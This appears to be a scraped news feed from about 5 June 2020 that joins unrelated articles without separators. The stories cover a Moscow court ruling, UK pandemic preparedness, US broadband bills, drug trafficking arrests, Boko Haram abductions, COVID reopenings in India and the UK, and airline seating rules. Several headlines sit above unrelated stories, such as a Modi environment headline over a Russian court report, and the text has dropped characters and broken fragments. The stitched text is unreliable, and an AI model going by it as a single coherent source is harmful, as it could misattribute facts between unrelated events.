READ | On World Environment Day 2020, PM Modi Pitches 'whatever Possible' To Make Nature Thrive

(With inputs from ANI)
Suspended sentence given to woman for clashing with Moscow court bailiffs upheld

 RAPSI, Vladimir Burnov

11:11 05/06/2020

MOSCOW, June 5 (RAPSI)  The Moscow City Court on Friday upheld a 1-year suspended sentence against a 52-year woman living in Moscow who had clashed with bailiffs in a courtroom, the courts press service told RAPSI.

The woman was found guilty of using force against a representative of authority on duty in mid-April.

Moscows Preobrazhensky District Court found that on March 22, 2019, Irina Yatsynenko refused to leave a courtroom of the Moscow City Court at the request of a judge. Bailiffs forcibly moved the woman out of the courtroom to a hall; Yatsynenko abrased one of the bailiffs slapped another in the face, and then gave several pushes to one of them.




Britain had a 'clear gap' in its preparedness for a coronavirus pandemic, according to an exercise held two years ago which simulated an outbreak.

A report into 'Exercise Iris' in Scotland, which was shared with a UK government advisory group in June last year, also revealed the 'need for substantive progress'.

Additionally, it highlighted 'unease' among frontline staff over personal protective equipment  an area which has turned out to be a key concern during the pandemic.

It also raised concerns over the demands of contact tracing, with one scenario in the exercise about 'escalating resource requirements for contact tracing and follow up'.

Clinical staff wear personal protective equipment as they care for a patient with coronavirus at the intensive care unit at the Royal Papworth Hospital in Cambridge on May 5

And the exercise prompted fears to be raised by frontline staff over the lack of clarity on the availability of PPE, training and testing, reported BBC News.

The project simulated an outbreak of Middle East Respiratory Syndrome (MERS-CoV) which is a coronavirus similar to SARS-Cov-2 but with different characteristics.

MERS-CoV causes a respiratory disease bringing on symptoms such as a cough and fever, with far higher death rates but much lower transmission rates.

The report said there was a 'need for substantive progress on PPE use within Scotland' and raised concerns from frontline staff over PPE, testing and training.

It said: 'This is a clear gap in Scotland's preparedness for MERS-CoV and other outbreaks and needs to be addressed as soon as possible.'

Britain announces 176 more coronavirus deaths yesterday, with the total now at nearly 40,000

The tabletop exercise took place in March 2018 at a hotel in Stirling involving health boards, the Scottish Ambulance Service, NHS 24 and Health Protection Scotland.

The outcomes were shared in June 2019 with the New and Emerging Respiratory Virus Threats Advisory Group (Nervtag) which advises UK politicians on pandemics.

The findings were requested by the media under the Freedom of Information Act two months ago, and a report has now been published by the Scottish Government.

Professor Devi Sridhar, who is on the Scottish Government's Covid-19 advisory group, told the BBC that the exercise 'feels like a lost opportunity'.

He said it also appeared members of the Scientific Advisory Group for Emergencies (Sage) did not discuss the exercise in their thinking until as later as February.

Infection control nurses don PPE at Craigavon Area Hospital in County Armagh on May 4

The Department for Health and Social Care said: 'We regularly test our preparedness for emergencies - allowing us to rapidly respond to this unprecedented crisis.'

It comes as the official human rights watchdog is to mount a statutory inquiry into the racial inequalities exposed by the coronavirus crisis in the UK.

The Equality and Human Rights Commission said it was a 'once in a generation' opportunity to tackle deep-seated inequalities and create a fairer country.

The move comes amid a wave of protests across the UK highlighting the anger felt over the treatment of black, Asian and minority ethnic (BAME) people.

Data shows Covid-19 is still killing more people in the UK than in the rest of the EU combined

Meanwhile, the NHS test and trace system is not expected to be 'world-class' until at least September, an executive of the scheme reportedly told staff.

Chief operating officer Tony Prestedge admitted in a webinar that the programme would be an 'imperfect service at launch' that will 'improve over time'.

In other developments, face coverings are to be compulsory on public transport in England from June 15 as the Government further eases the lockdown restrictions.

And in further news, scientists said people with high blood pressure may be twice as likely to die from Covid-19 than those without the condition.
Today, access to vital and continuously changing health advice is almost entirely Web-based. Public health agencies depend on an online triage to manage access to testing. Hanging on to a job, keeping up with school assignments and regaining employment all depend on Internet connectivity, and those most at risk are least likely to have it.Estimates of the number of U.S. households without Internet access range as high as 30 percent. The Pew Research Center, which has been tracking Internet usage for 20 years, estimates that about three-quarters of homes have broadband Internet service.The UN declared access to the Internet to be a human right in 2016, and there are increasing calls for a public utility that could provide affordable, world-class Internet service to all Americans.Since April, more than 40 bills have been introduced by state legislatures that address some aspect of broadband access. Heres a sampling:bill A10475 would require every company that delivers Internet services to customers within a municipality to provide basic service to each residential dwelling in that municipality or unit contained within such residential dwelling or unit at no cost. Municipalities in which more than one company provides service are to develop rules to apportion responsibility among them. HB1228 increates a grant program designed to increase access to satellite-based broadband in areas of the state that without access to such services. Grants will be administered by the states Department of Information Technology and will go to satellite-based providers. Priority will go to proposals that bring new service to the greatest number of households. HB596 sets out guidelines for debt collection during a 120-day period following the lifting of the state of emergency declared by the governor. (At this writing, the order remains in effect.) It includes broadband Internet with electricity, gas, water and other utility services that may not be disconnected during the specified period due to non-payment by consumers or small businesses. SF4494 , abill, appropriates $8 million for emergency distance learning and broadband access grants. Funds can be used for purposes such as providing broadband access to the households of students otherwise unable to get online and providing them with the equipment necessary to access online learning materials. SR1113 addresses the need for affordable and consistent Internet access, saying that he pandemic has made it fundamental to full participation in education, work and everyday life. It observes that at a time when the state has transitioned to online learning, more than half a million students in the state do not have Internet service. It asks Congress to fully fund affordable and consistent Internet service for all communities across the state and the entire country. SB3009 inwould authorize the city of Okolona (pop 2,548) to allow its electric delivery system to be used to provide broadband services to residents. The system would be owned and maintained by the citys own broadband affiliate or an unaffiliated operator. Customers cannot be required to purchase broadband service as a condition of receiving electricity.
The Guardia Civil have arrested nineteen people as part of Operation Ygara. They are all said to belong to an international organisation trafficking hashish in the Mediterranean. As well as the arrests, a yacht with 5.1 tonnes of hash has been seized.

Twenty addresses in parts of Barcelona, Girona and Pontevedra were raided and searched. During these searches, a vehicle which had been stolen in Marseille in November was discovered. The registration plates had been falsified, and the vehicle was being used by one of the gang's leaders, who had established a marijuana plantation at his home.

The organisation's activities ranged from parts of the mainland to north Africa and further south in Africa, e.g. Senegal. They also embraced Las Palmas in the Canaries.

The Guardia's operation started last year, when a yacht in Palma was identified as having been used to transport drugs. The existence of a criminal structure was verified, and police cooperation included authorities in Italy and Senegal.

When the yacht with the hash was intercepted, three crew were arrested - two Colombians and the Spanish skipper. It was heading for Senegal, and when the crew became aware of Senegalese forces and the Guardia Civil's maritime service, the crew tried to get rid of the drug cargo.
For more coverage, visit our complete coronavirus section here.

Two weeks ago the idea of leaving your house to gather in a crowd of thousands of people seemed like an unlikely, ill-advised activity.

That was before the country took to streets in protest of the police killing of George Floyd.

The demonstrations have seen hundreds of thousands of people join protests across the country during the global COVID-19 pandemic. Health experts have warned the gatherings will likely lead to an accelerated or rebounding spread of the coronavirus.

While hand sanitizer and masks have been used, and often handed out by volunteers on the sidelines of the demonstrations, social distancing is largely impossible in the crowds.

So if you attended a protest, should you get tested?

The expert advice is that it would be a good idea.

The director of the U.S. Centers for Disease Control and Prevention, Robert Redfield, said during a House Appropriations hearing on Thursday that anyone who participated should "highly consider" getting tested. He also warned lawmakers that the protests could be a "seeding event" for more viral outbreaks.

UCSF epidemiologist Dr. George Rutherford told SFGATE that while there are many variables in place  mask wearing, proximity to others, if people yelled in your face  if you attended a crowded rally without a mask on "you should probably seek out a test."

He added that the COVID-19 test can indicate a viral presence three days after infection. On days three and four an infected person will be shedding virus and contagious, and on day 5 symptoms may show.

Across the country health experts have been giving similar advice. North Carolina DHHS Secretary Dr. Mandy Cohen told the public on Thursday that anyone who has been at a protest should think about getting tested for COVID-19.

"If you are protesting, or at a mass gathering a lot, we want to make sure folks do get tested and know that that is available to them," she said.

The city of San Francisco has provided a free, pop-up testing location for anyone to get tested for COVID-19, including those who have gathered in mass demonstrations recently, even if they are not showing symptoms of infection. The testing site is located at The Cathedral of St. Mary at 1111 Gough St, and opened at noon on Friday.

The city is directing anyone who wants a test at the mobile site to sign up at www.projectbaseline.com/study/covid-19.

MORE CORONAVIRUS COVERAGE:

Sign up for 'The Daily' newsletter for the latest on coronavirus here.

Andrew Chamings is a digital editor at SFGATE. Email: Andrew.Chamings@sfgate.com | Twitter: @AndrewChamings
At least three humanitarian workers and a Nigerian soldier were, on Tuesday, abducted by suspected Boko Haram insurgents in the northern part of Borno State, officials have said.

The humanitarian workers were traveling from Maiduguri to Monguno, a town in the northern part of Borno, when they ran into an ambush by Boko Haram.

The United Nations Office for the coordination of humanitarian affairs (UNOCHA) confirmed the development but said they had no information about the identity of the two abductees, nor were they aware of the organisation they work for.

However, the Borno State government confirmed that one of the three abductees was a staff of the State Emergency Management Agency (SEMA).

Yabawa Kolo, the Executive Chairperson of SEMA, said the abducted staff, Muhammed Monguno, was the camp manager of the IDP Camp in Monguno.

Mrs Kolo told journalists that her organisation has since reported the matter to the police and other security agencies.

She said security agents are currently working on information received from the driver of the car, who was spared by the insurgents.

PREMIUM TIMES gathered from sources familiar with the incident that the traveling aid workers were on Tuesday waylaid at about 11 am at a location in Guzamala local government area of Borno State.

They forcefully disarmed the soldier and took away three other aid workers, but spared the driver of the vehicle to go and inform the employers of the four abductees about the incident, said an operative of Civilian-JTF who pleaded anonymity.

Two of the civilians work with (an) NGO and one with SEMA, but I am not at liberty to mention the name of the NGO  thats the warning we received from the security agents investigating the matter, said the source.

But, when our reporter contacted the Borno State police command, the spokesperson, Edet Okon, a deputy superintendent of police, said he was not aware of the incident.

The Army spokesperson, Sagir Musa, also informed PREMIUM TIMES that he was not aware of the incident.

We are not aware of any missing aid worker  UN

READ ALSO:

Officials at the UN Office for Coordination of Humanitarian Affairs (UNOCHA) have confirmed that none of the aid workers under their watch is missing.

At the moment, we have no confirmation on the number and identities of those abducted, said Eve Sabbagh, Head of Public Information at the UNOCHA in Nigeria.

However, we are extremely concerned by the widespread practice by non-state armed groups of setting up illegal checkpoints along main roads heightening risks for civilians to be abducted, killed or injured, and especially for aid workers who are directly targeted.

Ms Sabbagh told PREMIUM TIMES on the phone that the recent incidents of attacks on aid workers and civilians are even more worrying even more troubling as it comes at a time when our efforts are focused on the scale-up required to fight the COVID-19 pandemic.

The humanitarian community calls on all parties to the conflict to protect civilians and aid workers, and ensure the safety of aid workers and the unimpeded delivery of humanitarian aid to the most vulnerable women, children and men.
YEREVAN, JUNE 5, ARMENPRESS. President of Armenia Armen Sarkissian had a meeting with Minister of Healthcare Arsen Torosyan, the Presidential Office told Armenpress.

The President expressed his concern over the current situation in Armenia caused by the novel coronavirus (COVID-19). He asked the minister to provide information and clarification about the anti-coronavirus strategy, as well as the ongoing actions and the existing problems.

Minister Torosyan introduced the current coronavirus-related situation in the country to the President, the treatment and recovery process of the COVID-19 patients, the healthcare problems, as well as the main needs of the system.

President Sarkissian expressed readiness to assist within its capacities, also using his personal ties, in establishing relations and cooperation with different countries and structures aimed at overcoming the consequences of the pandemic.

Editing and Translating by Aneta Harutyunyan
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Hyderabad, June 5 : An animal lover from Hyderabad has announced a reward of Rs two lakh to anyone providing information to the Kerala police leading to the arrest of the killers of a pregnant elephant in that state.

B. T. Srinivasan, a farmer, said he was shocked over the incident in which the elephant was reportedly fed a pineapple stuffed with crackers, resulting in the death of the pregnant elephant and the baby in its womb.

"I want to offer a reward of two lakh rupees from my personal savings to the person who gives information about the miscreants," said Srinivasan, who cultivates paddy in Medak district.

He said the persons who resorted to the beastly act should not go unpunished.

Srinivasan, who is also the general secretary of United Federation of Resident Welfare Associations, Greater Hyderabad, said the person providing information leading to the arrest of the culprits would get the reward after the conviction in the case.

He plans to issue the cheque to the animal husbandry department of Kerala for making the payment to the person who provides vital information to the police leading to the arrest and conviction of the accused.

Srinivasan said the reports about the way the elephant suffered for four days brought tears to him. "Anybody with some empathy for the living creatures would have felt the pain to see the elephant suffering like this," he said.

He wants the law enforcing authorities to show the same seriousness in arresting the culprits which they would have shown to apprehend the killers of a human being.

Kerala Chief Minister Pinarayi Vijayan said on Thursday that the suspects have been identified in the case.

The wild elephant reportedly strayed into a village in the Palakkad district last month and was suspected to have eaten fruit stuffed with firecrackers. The crackers exploded in the elephant's mouth and it walked for days in agony before it went into a river and died standing on May 27.
Lotta Svard women in 1940. Credit: Finnish Wartime Photograph Archive

Women who have experienced childhood trauma become mothers earlier than those with a more stable childhood environment, according to a new study conducted by the University of Turku and the University of Helsinki in Finland. The trauma children experience from living in war zones, natural disasters, or perhaps even epidemics, can have unexpected effects that resurface later in their lives.

During the Second World War, thousands of Finnish women and girls volunteered to aid in the war effort as part of the paramilitary organization Lotta Svard. Tasks within the organization varied greatly, and many of the women performed duties that exposed them to the trauma of war. Toward the end of the war, girls as young as 14 years of age were entrusted with some of the more demanding jobs usually reserved for adults.

Researcher and lead author of the study Robert Lynch from the University of Turku used extensive data collected on these volunteers to study the effects of childhood trauma on adults.

The study showed that young girls and women who served in the war became mothers earlier and had more children compared to women of the same age who did not participate in the war effort.

"If we can measure the effects of trauma on basic things such as the timing of motherhood, then it almost certainly has major effects on many of our other important behaviors, such as overall aversion to risk, sociality or the pace of sexual development," explains Lynch.

"This study is groundbreaking because it overcomes many of the pitfalls of research on humans that has made it difficult to know whether trauma is actually the root cause of starting a family at a younger age. The extensive dataset made it possible for us to compare women before and after the war and also take family background into account by comparing sisters. This is strong evidence in support of the idea that trauma affects reproductive schedules," adds senior author John Loehr from the University of Helsinki.

The study has clear relevance for the millions of children and adults worldwide who experience trauma through wars. However, relevance likely also extends to other sources of trauma, such as natural disasters or even the current COVID-19 epidemic.

Evolutionary theory predicts that individuals experiencing an unstable environment with high mortality are better off reproducing sooner rather than taking the risk of not having the chance later.

"There appears to be a sensitivity window that extends from childhood into early adulthood where behavior adjusts to match the circumstances experienced. The consequences can be far-reaching, even after the situation stabilizes. A childhood trauma can influence people's adult lives in ways that they are unaware of, such as the timing of their motherhood," explains Academy Professor Virpi Lummaa from the University of Turku.

Explore further Abuse and neglect associated with increased cardiovascular disease risk for lesbian and bisexual women

More information: Robert Lynch et al, Child volunteers in a women's paramilitary organization in World War II have accelerated reproductive schedules, Nature Communications (2020). Journal information: Nature Communications Robert Lynch et al, Child volunteers in a women's paramilitary organization in World War II have accelerated reproductive schedules,(2020). DOI: 10.1038/s41467-020-15703-0
A s the UK gradually eases out of coronavirus lockdown, Brits are regaining different old freedoms every week.

Recently people were allowed to visit open-air markets and car showrooms again, while meeting up with groups of friends outside is also now an option.

But charity shops have remained closed so far, with all new donations on hold.

Here we look at when charity shops will reopen and the ways they will keep staff and customers safe.

Models at Oxfam's Fashion Fighting Poverty show in a previous year / David Benett

When will charity shops reopen?

Like other non-essential shops, charity shops in England will be allowed to reopen on June 15, after Prime Minister Boris Johnson's announcement towards the end of May.

But despite the fact that English charity shops will be allowed to reopen on June 15, many chains have warned that safety issues may mean that they are slower to open their doors again.

Mr Johnson urged people to go shopping when retailers reopen, to help support the economy.

Im certainly not going to discourage them from spending at all," he said.

I think that its early days but we are very much hoping there will be a bounce back over the next few months.

The devolved governments of Scotland and Wales are set to make a decision on shops reopening later in June.

A clothes rack in a Barnardo's charity shop / Barnardo's

Can I make donations when shops reopen?

Donations can be made to charity shops when they reopen, although retailers have warned they may be overwhelmed after being closed for more than two months.

And all donations will need to be quarantined for 72 hours before being put on shop floors, to lessen the risk of coronavirus being passed on, under new guidance from the Charity Retail Association.

Will it be safe?

Charity shops have warned that they may not be able to reopen on June 15, amid safety concerns for staff and customers.

Oxfam, which runs around 650 shops in the UK, said it was working on a "detailed plan" but had not decided on a reopening date.

The company said: "Our priority remains the health and wellbeing of our staff, volunteers and customers. Many of our volunteers are elderly and vulnerable and we are acutely conscious of our responsibilities towards them."

We are following government advice and are taking comprehensive steps to create a safe environment, including ensuring social distancing within the shops, providing personal protective equipment, regular cleaning of all surfaces, doors and equipment, and the isolation of donated items for 72 hours prior to listing for sale.

We welcome the fact that many people are taking the opportunity to de-clutter during lockdown and we are asking people to hold on to those items for now and donate them to Oxfam when the shops and donation banks are open again.

Non-essential shops are allowed to reopen from June 15 / PA

FARA, which supports vulnerable young people in Romania, said it had similar concerns.

The company said in a statement: We are at present carrying out comprehensive risk assessments on all our locations and when each location will open will depend on whether it can meet the current safety guidelines laid down by the Government.

We do expect a large volume of donations when the shops reopen and will be setting aside space in our warehouse and shops to deal with those donations and will be communicating with our regular donors in advance about the matter and hoping they will be thoughtful about when they donate.

Clearly the handling of donated goods by our staff, volunteers and customers presents a particular concern and we are looking at a range of measures to reduce the risk of handling donations."

But children's charity Barnardo's plans to reopen 70 of its 700 shops in England from June 15.
FORKS, Wash. - Authorities say a multiracial family camping on the Olympic Peninsula in Washington state was harassed and confronted by people who accused them of being political activists with antifa and trapped them at a remote campsite in the woods.

Sgt. Shaun Minks of the Clallam County Sheriffs Office says the family of four arrived Wednesday in the town of Forks, Washington, in an old converted school bus and stopped to buy camping supplies at a local store.

He said as they were leaving the store, the family was confronted by people in several vehicles who asked them if they were from antifa  short for anti-fascists an umbrella term for leftist militant groups that confront or resist neo-Nazis and white supremacists at demonstrations.

The family told the people they werent associated with any group and were camping. Minks said the family was able to drive out of the parking lot and head for a campsite off a logging road about five miles outside of Forks.

The Peninsula Daily News reports the family told deputies that at least four vehicles followed them as they drove away. They said that two of the vehicles had people in them carrying what appeared to be semi-automatic rifles.

Authorities say the family became concerned later when they heard gunshots and other commotion and decided to leave the campsite. However trees had been felled across a road, trapping them.

The family called 911 for help. Four local high school students used a chainsaw to help clear the road for the family.

Deputies arrived and escorted the family out. The Clallam County Sheriffs Office is investigating.
OWOSSO, MI -- The Michigan Supreme Court sided with Owosso barber Karl Mankes appeal to invalidate a state Court of Appeals decision.

A Friday, June 5 order by the Michigan State Court ruled to vacate the Court of Appeals decision that ordered Shiawassee County Circuit Court Judge Matthew A. Stewart to issue a preliminary injunction to shut down Mankes shop.

The case has been remanded to the Court of Appeals for additional consideration.

The issue came to a boil between Manke and the state Department of Health and Human Services after the 77-year-old reopened his shop May 4 in the face of an executive order by Gov. Gretchen Whitmer that ordered barber shops and salon to close over COVID-19 concerns.

Owosso barber asks Michigan Supreme Court to let him keep cutting hair

In the order, Justice David F. Viviano states, in part, It is incumbent on the courts to ensure decisions are made according to the rule of law, not hysteria.

Here, in addition to entering an order whose validity is highly suspect, the Court of Appeals majority took the extraordinary step of directing the trial court to take immediate action despite the fact that an application for leave had already been filed in our Court, said Viviano.

David A. Kallman, Mankes attorney, said they are ecstatic about the order.

We feel our legal arguments have been vindicated by the courts ruling, he told MLive-The Flint Journal Friday evening. This has a big impact on the hearing that was set for next Thursday.

The state Attorney Generals Office filed a motion this week to find Manke in contempt of court after he continue to cut hair following the Court of Appeals ruling.

Owosso barber says he wont be bullied as Michigan AGs Office files motion to find him in contempt of court

Thats how vindictive they are against Karl, said Kallman.

The motion asks for thousands of dollars in fines each day against Manke if he continued to operate.

Were very pleased. Were happy and its a 7-0 decision by the Supreme Court," Kallman said.

The order also called the granting of a preliminary injunction by the Court of Appeals without an unanimous decision inexplicable.

Per Kallman, the argument is whether the executive order carried any weight after the state legislature did not extend the state of emergency at the end of April.

Michigan Court of Appeals orders Owosso barbers shop to close

The issue is why are peoplebeing treated unequally under the order of law, said Kallman of other businesses being allowed to open.

Whitmer has softened her stance on businesses, with some areas of the state already reopened for indoor business at restaurants.

The order added the Court of Appeals should address whether (MDHHSs) motion for a preliminary injunction is rendered moot now that the Governor has ordered that barbershops can open statewide on June 15, 2020.

Michigan salons, barber shops can reopen June 15

Hopefully, the Supreme Court will eventually get to that issue and we'll get a ruling, Kallman said. Without any of these executive orders the case against Karl crumbles.

The barbers license remains suspended, but Kallman plans to file for a stay.

Manke said Wednesday he has a right to work and would continue to do so in the face of court action and there were only a few ways hed stop.

Either Jesus comes, they cut my hands off or she resigns, one or the other, he said.

A message sent by MLive-The Flint Journal seeking comment from the state Attorney Generals Office was not immediately returned Friday evening.

Editors note: A previous version of this story said the Supreme Court overturned the Court of Appeals decision. For the sake of clarity, weve changed the headline to say that the Supreme Court merely sided with the barber.

Owosso barber says he wont be bullied as Michigan AGs Office files motion to find him in contempt of court
Mumbai, June 5 : After nearly 80 days of lockdown, the country's commercial capital Mumbai and other parts of Maharashtra revved back to life, setting in motion the crucial economic activities that were virtually paralysed due to the Covid-19 pandemic, here on Friday.

Most markets, market areas, commercial and trading areas - barring malls or market complexes - in the city and rest of the state reopened for business even as Chief Minister Uddhav Thackeray reiterated that "people should tread cautiously while beginning a 'new life' from today".

As announced earlier, the shops are remaining open on one side of the road on odd-even dates basis, between 9 am-5 pm, with several other conditions, said Federation of Retail Traders Welfare Association (FRTWA) President Viren Shah.

Use of trial rooms in garment outlets is banned, return/exchange is prohibited, strict physical distancing norms must be followed, arrangements for sanitisers and possibly even a thermometer gun at the entrance is must for staffer, in case of overcrowding, sales must stop, he said.

Vehicles returned to the roads and highways in large numbers since suburban trains were still not permitted as people trooped to their respective places of businesses.

However, private offices shall open from June 8 with 10 percent staff strength, while government offices will work with 15 percent strength though all other emergency, health care services, treasuries, police, disaster management, essential supplies, civic services, etc are exempt from this.

While the government has advised people to avoid stepping outdoors, cab aggregators, autorickshaws and taxis can ply with two passengers plus the driver and pillion riding is not permitted on two-wheelers.

Till June 30, schools, colleges, all educational institutions, religious places of worship, salons and parlours, shopping malls, hotels, restaurants and hospitality services services, theatres, cinemas and multiplexes, swimming pools and gyms, social gathering or large congregations, continue to be prohibited.

Shah said that from today the phased reopening of businesses started in all the municipal corporations like Mumbai, and districts like Thane, Pune, Solapur, Aurangabad, Nashik, Dhule, Jalgaon, Akola, Amravati and Nagpur.

Any staffers in any business outlet displaying Corona-type symptoms must be self-quarantined at home for 7-10 days, senior citizens or children below 10 years and people with comorbidities are still not allowed to step out of homes, etc.

It may be recalled that Maharashtra had gone into partial lockdown from March 15, then a full lockdown from March 24, followed by the national lockdown since March 25, which is now in its fifth phase, though with some relaxations.

-- The story has been published from a wire feed without any modifications to the text
27-Year-od woman gangraped in lodge in Kochi for 3 days, one arrested

176 Indian citizens from Bahrain, Oman complete quarantine at Naval Base in Kochi

India

oi-Vicky Nanjappa

New Delhi, June 05: 176 Indians from Bahrain and Oman completed their mandated Quarantine period at Naval Base Kochi.

The residents of the Southern Naval Command Covid Care Centre (CCC) for the past two weeks would now travel back to various parts of the country, the government said in a statement.

During their stay at the CCC they were provided with all meals, personal hygiene kits, supervised medical care, WiFi and telephone facilities, new BSNL SIM cards as well as currency exchange, amongst other basic amenities, the statement also read.

Centre issues guidelines for the reopening of malls, offices and religious places | Oneindia News

Naval ship arrives in Kochi with 698 repatriated Indians from Maldives

All residents underwent the RT-PCR tests during their stay and have tested negative prior to discharge.

49 Indians from Oman were the last to depart the CCC, whilst 127 from Bahrain left the Indian Navy Facility between June 1 and 2.

The Navy's Quarantine facility at Kochi with a 200-bed capacity was set up on March 20 and has been serving as a transit quarantine camp for naval personnel returning to Kochi on duty after leave. It was modified at short notice to cater for the arrival of personnel from Bahrain & Oman. The Camp is being managed by trained naval doctors and personnel from the School of Naval Airmen (SFNA) at Southern Naval Command.

The Indian Navy has spared no effort in supporting the nation in its battle against COVID-19 and continues to fulfil its resolve towards dedicating Har Kaam Desh Ke Naam, the statement also read.
A 40-year old resident of Bihars Gopalganj, who was put up at a quarantine centre at Bodh Gaya after returning from Saudi Arabia on June 3, allegedly committed suicide early Friday.

The youth, identified as Vickky Kumar, a native of Chhatia village in Gopalganj, jumped to death from Nigma Monasteries quarantine centre under the jurisdiction of Bodh Gaya police station in Bihar.

The victim was working in Jeddah and reached Bodh Gaya on June 3. The incident took place in the early hours of Friday on the premises of Nigma Monasteries Block-4 which has been converted into a quarantine centre for people arriving from abroad.

Bodh Gaya police have registered a case of unnatural death and further probe is underway. Victims body has been shifted to the Anugrah Narayan Medical College and Hospital (ANMCH) for post-mortem, the reports of which are awaited.

Bodh Gaya police station SHO Mohan Prasad Singh said that the youth didnt have any coronavirus symptoms but was quarantined for 14 days as per standard protocol. The exact reason that prompted him to take the extreme step was yet to be ascertained, he added.

The HT Guide to Coronavirus COVID-19

Gaya SSP Rajiv Mishra said that the youth was visited by his brother and in-laws on Thursday and he was pressurizing them to get released from the quarantine centre, but officials ignored their plea on the ground that all returnees from abroad have to undergo 14 days in quarantine.

The upset youth took the extreme step at around 2 am (Friday).

Magadh divisional commissioner Asangba Chuba Ao ordered a probe into the incident. He added that Gaya airport handles international flights in the state. So, it was the Bihar governments decision to make it the landing point for special flights coming from abroad.

The Union home secretary had asked the Bihar government to arrange facilities for mandatory institutional quarantine of stranded Indian nationals being brought back.

This is not the first such incident in the state, a 30-year-old migrant worker named Rajesh Kumar had allegedly committed suicide by hanging himself at a quarantine centre in Vaishali district on May 21 and another young migrant worker had set himself ablaze at a quarantine centre in Muzaffarpur district. He is now reportedly battling for his life.
Capt Amarinder Singh

Chandigarh: Regretting that the Government of India had failed to provide any help to the small states in fighting the impact of the Covid outbreak and the prolonged lockdown, Punjab Chief Minister Captain Amarinder on Friday said it was the duty of the Centre to come forward in fighting this national battle and help the states revive their battered economies.

Even though Punjab was on top of the Covid situation and had managed to control the medical aspect of the problem to a great extent, economic revival would require support from the central government, said the Chief Minister, at a video press conference.

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Capt Amarinder SinghAt the moment, all steps to restart the economic activity in Punjab were purely the result of the state governments own efforts, said Captain Amarinder, describing the Government of Indias present attitude as a sad state of affairs.

Pointing to the conditional increase in the borrowing limit of GSDP, he said by curtailing the states rights the central government had negated the benefit of even the miniscule and delayed financial help it had extended.

On the initiatives being taken by the state to revive its economy amid COVID 19, the Chief Minister said that nearly Rs 24000 crore has been pumped into rural economy as a result of the bumper wheat crop during the just concluded Rabi season.

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Further, Captain Amarinder revealed that of the total 2.56 lakh industrial units in the state, all but 20,000 had resumed operations. However, the industry in Punjab would take some time to run to its optimum level, he said, urging the Government of India to bail out the small and medium industries, in particular, in this difficult time.

Capt Amarinder SinghAsked to comment on the recent conversation on this issue between Congress leader Rahul Gandhi and industrialist Rahul Bajaj, the Chief Minister said they were both right, as both, the GDP and the lives of the people were important.

Though the lockdown was necessary to save lives, it was now vital to revive the states economy, for which the panel of experts led by economist Montek Singh Ahluwalia was preparing a blueprint, he added.

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On migrants willingly staying back in Punjab, the Chief Minister pointed out out of 11.50 Lakh of those who had applied to return to their homes, more than 5 Lakh had decided to stay back in Punjab with the opening of the industries.

Many were also now wanting to come back to Punjab from states like Bihar and UP to resume work, he said, adding that the labourers who had gone back to their homes were talking of the care taken by the Punjab government, with the support of the police, NGOs, religious organisations etc. The state government, said Captain Amarinder, had been doing its best despite the meager resources at its disposal.

Punjab Government To a question regarding shortage of labour during the paddy sowing season, Captain Amarinder that in his season, nearly 30% of paddy had been sown through direct seeding, which is less labour intensive and more cost-effective.

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The Chief Minister further said that the industry was also taking initiatives, such as pay hikes, to retain labour. However, it is the small industry, which hires the majority of the migrant workers, that needs immediate support for revival, he added.

Regarding the states preparedness to handle the threat of Covid spread in view of the reopening of the industry, businesses and others, Captain Amarinder said all measures were being taken, with strict adherence to protocols, including thermal checking.

Underlining the need for extreme cautions, he urged the people to act responsibly and follow all protocols and get their thermal checks done whenever they step out.

The Chief Minister said the state government was on top of the situation in its fight against Covid, despite reports of possible community spread coming frequently from various cities in recent days. The problem gets aggravated by the failure of the people to go for medical checks on coming in contact with infected persons or on showing even the slightest of symptoms, he added.

CoronavirusOn the opening of gyms, schools etc, he pointed out that these decisions were in the Centres domain under the National Disaster Act, which is currently invoked in the country.

On the issue of power rate cuts for the domestic centre, the Chief Minister said 52,000 domestic consumers in the lowest category had benefitted, along with consumers of second category.

The state government was duty bound to support PSPCL through subsidy payment despite the fiscal crunch it was facing, he said, adding that the Discom had been suffering a net loss of Rs 30 crore per day during the lockdown period.

In response to a question, Captain Amarinder assured that the state government would soon clear its dues of the cooperative sugar mills, and was also pressurising the private mill owners to pay off their dues to the farmers.
KEY HIGHLIGHTS

Airlines given flexibility to book middle seats based on demand scenario

Carriers asked to keep middle seats empty as far as possible, but allowed to fill them on flights with high demand

Recommendations for middle seats don't apply if family members sitting on adjacent seats

DGCA guidelines contradict MHA's 6-feet social distancing norms

On June 5, an expert committee formed by the Ministry of Civil Aviation submitted its report to Bombay High Court, which is hearing a PIL filed by an Air India pilot over occupying middle seats in aircraft. The committee, headed by Civil Aviation Secretary Pradeep Singh Kharola, said that the COVID-19 cannot be transmitted by merely touching an infected person. The committee noted that the infection could spread only if a non-infected person touches a droplet from the sneeze or cough of the coronavirus carrier.

ALSO READ: How IndiGo is turning Covid crisis into an opportunity

Fair enough! But there's a problem with this justification. Just five days ago, the ministry's regulatory arm Directorate General of Civil Aviation (DGCA) had issued a conflicting circular that stated that airlines should keep the middle seats empty as far as possible. And if there's a high demand for a particular flight, there's no need to keep middle seats empty but airlines should provide extra protective equipment (PPE kits) to the passengers occupying those seats.

Let's understand with an example. If SpiceJet is getting 80 per cent load factors on its Delhi-to-Mumbai flights, it should be allowed to book middle seats, and in a way, risk the safety of its passengers. On the other hand, if the Mumbai-to-Delhi flights are flying at just 20 per cent load factors, the airline should become wary of the virus spread.

If this sounds bizarre, the regulator took an even stranger stance in the same circular when it suggested that these recommendations are not applicable if family members are sitting on adjacent seats.

If the government thinks that the middle seats are risky - which is why they recommended keeping them empty as far as possible - then why not keep them empty on all flights irrespective of the demand scenario.

ALSO READ: Aviation ministry aims to resume international flights by July

Giving such flexibility to the airlines also points out to the fact that the government is more worried about the economics of the airlines than the safety of the flyers - an observation made by the Supreme Court in its May 25 order on the related matter.

As such, protective gowns don't cost much: about Rs 200 apiece. In the recent earnings call, IndiGo's president and COO Wolfgang Prock-Schauer said that additional safety protocols such as protective gowns doesn't substantially change the cost structure of the airline. He also noted that if at all costs have risen, it's because the airline needs 10-15 per cent more staff at the airport to handle safety protocols.

So far, the government has had a wavering stand on the issue. For instance, in a March 23 circular, the Civil Aviation Ministry directed airlines to keep middle seats empty on international flights. In any case, the sale of middle seat tickets is in contradiction to the Ministry of Home Affairs (MHA) guidelines that mandates a minimum distance of 6 feet between individuals in public places.

Over the past few weeks, airline bosses have been busy telling people that flying is one of the safest modes of transportation in the wake of coronavirus pandemic. Their aircraft are equipped with HEPA filters that renew the cabin air in every two-three minutes. In the absence of a detailed study, it's too early for the government to be certain on the risk factors, and hand over the responsibility to commercial entities.

